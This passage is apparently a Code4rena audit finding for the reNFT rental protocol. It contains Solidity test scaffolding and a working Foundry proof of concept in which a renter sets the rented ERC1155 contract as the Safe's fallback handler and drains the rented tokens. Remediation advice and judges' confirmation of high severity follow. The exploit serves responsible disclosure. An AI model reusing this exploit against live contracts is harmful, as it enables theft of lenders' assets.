components to storage for (uint256 i = 0; i < fulfillment.considerationComponents.length; i++) { storageFulfillment.considerationComponents.push( fulfillment.considerationComponents[i] ); } } function _seaportItemTypeToRentalItemType( SeaportItemType seaportItemType ) internal pure returns (RentalItemType) { if (seaportItemType == SeaportItemType.ERC20) { return RentalItemType.ERC20; } else if (seaportItemType == SeaportItemType.ERC721) { return RentalItemType.ERC721; } else if (seaportItemType == SeaportItemType.ERC1155) { return RentalItemType.ERC1155; } else { revert("seaport item type not supported"); } } function _createRentalOrder( OrderToFulfill memory orderToFulfill ) internal view returns (RentalOrder memory rentalOrder) { // get the order parameters OrderParameters memory parameters = orderToFulfill.advancedOrder.parameters; // get the payload RentPayload memory payload = orderToFulfill.payload; // get the metadata OrderMetadata memory metadata = payload.metadata; // construct a rental order rentalOrder = RentalOrder({ seaportOrderHash: orderToFulfill.orderHash, items: new Item[](parameters.offer.length + parameters.consideration.length), hooks: metadata.hooks, orderType: metadata.orderType, lender: parameters.offerer, renter: payload.intendedFulfiller, rentalWallet: payload.fulfillment.recipient, startTimestamp: block.timestamp, endTimestamp: block.timestamp + metadata.rentDuration }); // for each new offer item being rented, create a new item struct to add to the rental order for (uint256 i = 0; i < parameters.offer.length; i++) { // PAYEE orders cannot have offer items require( metadata.orderType != OrderType.PAYEE, "TEST: cannot have offer items in PAYEE order" ); // get the offer item OfferItem memory offerItem = parameters.offer[i]; // determine the item type RentalItemType itemType = _seaportItemTypeToRentalItemType(offerItem.itemType); // determine which entity the payment will settle to SettleTo settleTo = offerItem.itemType == SeaportItemType.ERC20 ? SettleTo.RENTER : SettleTo.LENDER; // create a new rental item rentalOrder.items[i] = Item({ itemType: itemType, settleTo: settleTo, token: offerItem.token, amount: offerItem.startAmount, identifier: offerItem.identifierOrCriteria }); } // for each consideration item in return, create a new item struct to add to the rental order for (uint256 i = 0; i < parameters.consideration.length; i++) { // PAY orders cannot have consideration items require( metadata.orderType != OrderType.PAY, "TEST: cannot have consideration items in PAY order" ); // get the offer item ConsiderationItem memory considerationItem = parameters.consideration[i]; // determine the item type RentalItemType itemType = _seaportItemTypeToRentalItemType( considerationItem.itemType ); // determine which entity the payment will settle to SettleTo settleTo = metadata.orderType == OrderType.PAYEE && considerationItem.itemType == SeaportItemType.ERC20 ? SettleTo.RENTER : SettleTo.LENDER; // calculate item index offset uint256 itemIndex = i + parameters.offer.length; // create a new payment item rentalOrder.items[itemIndex] = Item({ itemType: itemType, settleTo: settleTo, token: considerationItem.token, amount: considerationItem.startAmount, identifier: considerationItem.identifierOrCriteria }); } } function _signProtocolOrder( uint256 signerPrivateKey, bytes32 payloadHash ) internal view returns (bytes memory signature) { // fetch domain separator from create policy bytes32 domainSeparator = create.domainSeparator(); // sign the EIP-712 digest (uint8 v, bytes32 r, bytes32 s) = vm.sign( signerPrivateKey, domainSeparator.toTypedDataHash(payloadHash) ); // encode the signature signature = abi.encodePacked(r, s, v); } ///////////////////////////////////////////////////////////////////////////////// // Fulfillment Amendments // ///////////////////////////////////////////////////////////////////////////////// function withFulfiller(ProtocolAccount memory _fulfiller) internal { fulfiller = _fulfiller; } function withRecipient(address _recipient) internal { seaportRecipient = _recipient; } function withAdvancedOrder( AdvancedOrder memory _advancedOrder, uint256 orderIndex ) internal { // get a storage pointer to the order to fulfill OrderToFulfill storage orderToFulfill = ordersToFulfill[orderIndex]; // set the new advanced order _createAdvancedOrder(orderToFulfill.advancedOrder, _advancedOrder); } function withSeaportMatchOrderFulfillment(Fulfillment memory _fulfillment) internal { // get a pointer to a new seaport fulfillment Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push(); // set the fulfillment _createSeaportFulfillment( fulfillment, Fulfillment({ offerComponents: _fulfillment.offerComponents, considerationComponents: _fulfillment.considerationComponents }) ); } function withSeaportMatchOrderFulfillments( Fulfillment[] memory fulfillments ) internal { // reset all current seaport match order fulfillments resetSeaportMatchOrderFulfillments(); // add the new offer items to storage for (uint256 i = 0; i < fulfillments.length; i++) { // get a pointer to a new seaport fulfillment Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push(); // set the fulfillment _createSeaportFulfillment( fulfillment, Fulfillment({ offerComponents: fulfillments[i].offerComponents, considerationComponents: fulfillments[i].considerationComponents }) ); } } function withBaseOrderFulfillmentComponents() internal { // create offer fulfillments. We need to specify which offer items can be aggregated // into one transaction. For example, 2 different orders where the same seller is offering // the same item in each. // // Since BASE orders will only contain ERC721 offer items, these cannot be aggregated. So, a separate fulfillment // is created for each order. for (uint256 i = 0; i < ordersToFulfill.length; i++) { // get a pointer to a new offer fulfillment array. This array will contain indexes of // orders and items which are all grouped on whether they can be combined in a single transferFrom() FulfillmentComponent[] storage offerFulfillments = seaportOfferFulfillments .push(); // number of offer items in the order uint256 offerItemsInOrder = ordersToFulfill[i] .advancedOrder .parameters .offer .length; // add a single fulfillment component for each offer item in the order for (uint256 j = 0; j < offerItemsInOrder; j++) { offerFulfillments.push( FulfillmentComponent({orderIndex: i, itemIndex: j}) ); } } // create consideration fulfillments. We need to specify which consideration items can be aggregated // into one transaction. For example, 3 different orders where the same fungible consideration items are // expected in return. // // get a pointer to a new offer fulfillment array. This array will contain indexes of // orders and items which are all grouped on whether they can be combined in a single transferFrom() FulfillmentComponent[] storage considerationFulfillments = seaportConsiderationFulfillments.push(); // BASE orders will only contain ERC20 items, these are fungible and are candidates for aggregation. Because // all of these BASE orders will be fulfilled by the same EOA, and all ERC20 consideration items are going to the // ESCRW contract, the consideration items can be aggregated. In other words, Seaport will only make a single transfer // of ERC20 tokens from the fulfiller EOA to the payment escrow contract. // // put all fulfillments into one which can be an aggregated transfer for (uint256 i = 0; i < ordersToFulfill.length; i++) { considerationFulfillments.push( FulfillmentComponent({orderIndex: i, itemIndex: 0}) ); } } function withLinkedPayAndPayeeOrders( uint256 payOrderIndex, uint256 payeeOrderIndex ) internal { // get the PAYEE order OrderParameters memory payeeOrder = ordersToFulfill[payeeOrderIndex] .advancedOrder .parameters; // For each consideration item in the PAYEE order, a fulfillment should be // constructed with a corresponding item from the PAY order's offer items. for (uint256 i = 0; i < payeeOrder.consideration.length; ++i) { // define the offer components FulfillmentComponent[] memory offerComponents = new FulfillmentComponent[](1); offerComponents[0] = FulfillmentComponent({ orderIndex: payOrderIndex, itemIndex: i }); // define the consideration components FulfillmentComponent[] memory considerationComponents = new FulfillmentComponent[](1); considerationComponents[0] = FulfillmentComponent({ orderIndex: payeeOrderIndex, itemIndex: i }); // get a pointer to a new seaport fulfillment Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push(); // set the fulfillment _createSeaportFulfillment( fulfillment, Fulfillment({ offerComponents: offerComponents, considerationComponents: considerationComponents }) ); } } function resetFulfiller() internal { delete fulfiller; } function resetOrdersToFulfill() internal { delete ordersToFulfill; } function resetSeaportMatchOrderFulfillments() internal { delete seaportMatchOrderFulfillments; } ///////////////////////////////////////////////////////////////////////////////// // Fulfillment Finalization // ///////////////////////////////////////////////////////////////////////////////// function _finalizePayOrderFulfillment( bytes memory expectedError ) private returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) { // get the orders to fulfill OrderToFulfill memory payOrder = ordersToFulfill[0]; OrderToFulfill memory payeeOrder = ordersToFulfill[1]; // create rental orders payRentalOrder = _createRentalOrder(payOrder); payeeRentalOrder = _createRentalOrder(payeeOrder); // expect an error if error data was provided if (expectedError.length != 0) { vm.expectRevert(expectedError); } // otherwise, expect the relevant event to be emitted. else { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(payRentalOrder), payOrder.payload.metadata.emittedExtraData, payRentalOrder.seaportOrderHash, payRentalOrder.items, payRentalOrder.hooks, payRentalOrder.orderType, payRentalOrder.lender, payRentalOrder.renter, payRentalOrder.rentalWallet, payRentalOrder.startTimestamp, payRentalOrder.endTimestamp ); } // the offerer of the PAYEE order fulfills the orders. vm.prank(fulfiller.addr); // fulfill the orders seaport.matchAdvancedOrders( _deconstructOrdersToFulfill(), new CriteriaResolver[](0), seaportMatchOrderFulfillments, seaportRecipient ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function finalizePayOrderFulfillment() internal returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) { (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(bytes("")); } function finalizePayOrderFulfillmentWithError( bytes memory expectedError ) internal returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) { (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(expectedError); } function _finalizeBaseOrderFulfillment( bytes memory expectedError ) private returns (RentalOrder memory rentalOrder) { // get the order to fulfill OrderToFulfill memory baseOrder = ordersToFulfill[0]; // create a rental order rentalOrder = _createRentalOrder(baseOrder); // expect an error if error data was provided if (expectedError.length != 0) { vm.expectRevert(expectedError); } // otherwise, expect the relevant event to be emitted. else { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(rentalOrder), baseOrder.payload.metadata.emittedExtraData, rentalOrder.seaportOrderHash, rentalOrder.items, rentalOrder.hooks, rentalOrder.orderType, rentalOrder.lender, rentalOrder.renter, rentalOrder.rentalWallet, rentalOrder.startTimestamp, rentalOrder.endTimestamp ); } // the owner of the rental wallet fulfills the advanced order, and marks the rental wallet // as the recipient vm.prank(fulfiller.addr); seaport.fulfillAdvancedOrder( baseOrder.advancedOrder, new CriteriaResolver[](0), conduitKey, seaportRecipient ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function finalizeBaseOrderFulfillment() internal returns (RentalOrder memory rentalOrder) { rentalOrder = _finalizeBaseOrderFulfillment(bytes("")); } function finalizeBaseOrderFulfillmentWithError( bytes memory expectedError ) internal returns (RentalOrder memory rentalOrder) { rentalOrder = _finalizeBaseOrderFulfillment(expectedError); } function finalizeBaseOrdersFulfillment() internal returns (RentalOrder[] memory rentalOrders) { // Instantiate rental orders uint256 numOrdersToFulfill = ordersToFulfill.length; rentalOrders = new RentalOrder[](numOrdersToFulfill); // convert each order to fulfill into a rental order for (uint256 i = 0; i < numOrdersToFulfill; i++) { rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]); } // Expect the relevant events to be emitted. for (uint256 i = 0; i < rentalOrders.length; i++) { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(rentalOrders[i]), ordersToFulfill[i].payload.metadata.emittedExtraData, rentalOrders[i].seaportOrderHash, rentalOrders[i].items, rentalOrders[i].hooks, rentalOrders[i].orderType, rentalOrders[i].lender, rentalOrders[i].renter, rentalOrders[i].rentalWallet, rentalOrders[i].startTimestamp, rentalOrders[i].endTimestamp ); } // the owner of the rental wallet fulfills the advanced orders, and marks the rental wallet // as the recipient vm.prank(fulfiller.addr); seaport.fulfillAvailableAdvancedOrders( _deconstructOrdersToFulfill(), new CriteriaResolver[](0), seaportOfferFulfillments, seaportConsiderationFulfillments, conduitKey, seaportRecipient, ordersToFulfill.length ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function finalizePayOrdersFulfillment() internal returns (RentalOrder[] memory rentalOrders) { // Instantiate rental orders uint256 numOrdersToFulfill = ordersToFulfill.length; rentalOrders = new RentalOrder[](numOrdersToFulfill); // convert each order to fulfill into a rental order for (uint256 i = 0; i < numOrdersToFulfill; i++) { rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]); } // Expect the relevant events to be emitted. for (uint256 i = 0; i < rentalOrders.length; i++) { // only expect the event if its a PAY order if (ordersToFulfill[i].payload.metadata.orderType == OrderType.PAY) { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(rentalOrders[i]), ordersToFulfill[i].payload.metadata.emittedExtraData, rentalOrders[i].seaportOrderHash, rentalOrders[i].items, rentalOrders[i].hooks, rentalOrders[i].orderType, rentalOrders[i].lender, rentalOrders[i].renter, rentalOrders[i].rentalWallet, rentalOrders[i].startTimestamp, rentalOrders[i].endTimestamp ); } } // the offerer of the PAYEE order fulfills the orders. For this order, it shouldn't matter // what the recipient address is vm.prank(fulfiller.addr); seaport.matchAdvancedOrders( _deconstructOrdersToFulfill(), new CriteriaResolver[](0), seaportMatchOrderFulfillments, seaportRecipient ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function _deconstructOrdersToFulfill() private view returns (AdvancedOrder[] memory advancedOrders) { // get the length of the orders to fulfill advancedOrders = new AdvancedOrder[](ordersToFulfill.length); // build up the advanced orders for (uint256 i = 0; i < ordersToFulfill.length; i++) { advancedOrders[i] = ordersToFulfill[i].advancedOrder; } } } contract SetupReNFT is OrderFulfiller {}
Exploit.sol
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import { Order, FulfillmentComponent, Fulfillment, ItemType as SeaportItemType } from "@seaport-types/lib/ConsiderationStructs.sol"; import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol"; import {SetupReNFT} from "./SetupExploit.sol"; import {Assertions} from "@test/utils/Assertions.sol"; import {Constants} from "@test/utils/Constants.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; import {Enum} from "@safe-contracts/common/Enum.sol"; import "forge-std/console.sol"; contract Exploit is SetupReNFT, Assertions, Constants { function test_ERC721_1155_Exploit() public { vm.stopPrank(); ///////////////////////////////////////////// // Order Creation & Fulfillment simulation // ///////////////////////////////////////////// // Alice creates a BASE order createOrder({ offerer: alice, orderType: OrderType.BASE, erc721Offers: 0, erc1155Offers: 1, erc20Offers: 0, erc721Considerations: 0, erc1155Considerations: 0, erc20Considerations: 1 }); // Finalize the order creation ( Order memory order, bytes32 orderHash, OrderMetadata memory metadata ) = finalizeOrder(); // Create an order fulfillment createOrderFulfillment({ _fulfiller: attacker, order: order, orderHash: orderHash, metadata: metadata }); // Finalize the base order fulfillment RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment(); // get the rental order hash bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder); // Assert that the rental order was stored assertEq(STORE.orders(rentalOrderHash), true); // Assert that the token is in storage assertEq(STORE.isRentedOut(address(attacker.safe), address(erc1155s[0]), 0), true); // assert that the fulfiller made a payment assertEq(erc20s[0].balanceOf(attacker.addr), uint256(9900)); // assert that a payment was made to the escrow contract assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100)); // assert that a payment was synced properly in the escrow contract assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100)); // Impersonate the attacker vm.startPrank(attacker.addr); // The `setFallbackHandler` TX bytes memory transaction = abi.encodeWithSelector( Safe.setFallbackHandler.selector, address(address(erc1155s[0])) ); // The signature of the `setFallbackHandler` TX bytes memory transactionSignature = SafeUtils.signTransaction( address(attacker.safe), attacker.privateKey, address(attacker.safe), transaction ); // Execute the transaction on attacker's safe SafeUtils.executeTransaction( address(attacker.safe), address(attacker.safe), transaction, transactionSignature ); /** ----------------- Exploitation ----------------- */ // TX calldata bytes memory hijackTX = abi.encodeWithSignature( "safeTransferFrom(address,address,uint256,uint256,bytes)", address(attacker.safe), address(attacker.addr), 0, 100, "" ); // The exploit (bool tx_success, ) = address(attacker.safe).call( hijackTX ); /** ----------------- Exploit proof ----------------- */ uint256 attackersBalance = erc1155s[0].balanceOf(address(attacker.addr), 0); uint256 attackersSafeBalance = erc1155s[0].balanceOf(address(attacker.safe), 0); if (tx_success && attackersSafeBalance == uint256(0) && attackersBalance == uint256(100)) { console.log("Tokens successfully hijacked from the attacker's (borrower) safe!"); } } } interface Safe { function execTransaction( address to, uint256 value, bytes calldata data, Enum.Operation operation, uint256 safeTxGas, uint256 baseGas, uint256 gasPrice, address gasToken, address payable refundReceiver, bytes memory signatures ) external payable returns (bool success); function setFallbackHandler(address handler) external; }

Impact


This severe vulnerability allows an attacker to hijack ANY ERC721 or ERC1155 tokens he rents.


Remediation


In the guard, check if the TX is a call to the function setFallbackHandler(). If it is, then ensure that the address supplied to that function is not an address of an actively rented ERC721/1155 token. Additionally, if the borrower rents a new token, ensure that the already set fallback handler address isn't the same as the newly-rented token address.


Assessed type

Token-Transfer

c4-pre-sort commented 9 months ago

141345 marked the issue as primary issue

c4-pre-sort commented 9 months ago

141345 marked the issue as sufficient quality report

c4-sponsor commented 9 months ago

Alec1017 (sponsor) confirmed

0xean commented 9 months ago

H seems appropriate here, direct loss of assets.

c4-judge commented 9 months ago

0xean marked the issue as satisfactory

c4-judge commented 8 months ago

0xean marked the issue as selected for report

Alec1017 commented 8 months ago

PoC on this one was confirmed. Direct loss of assets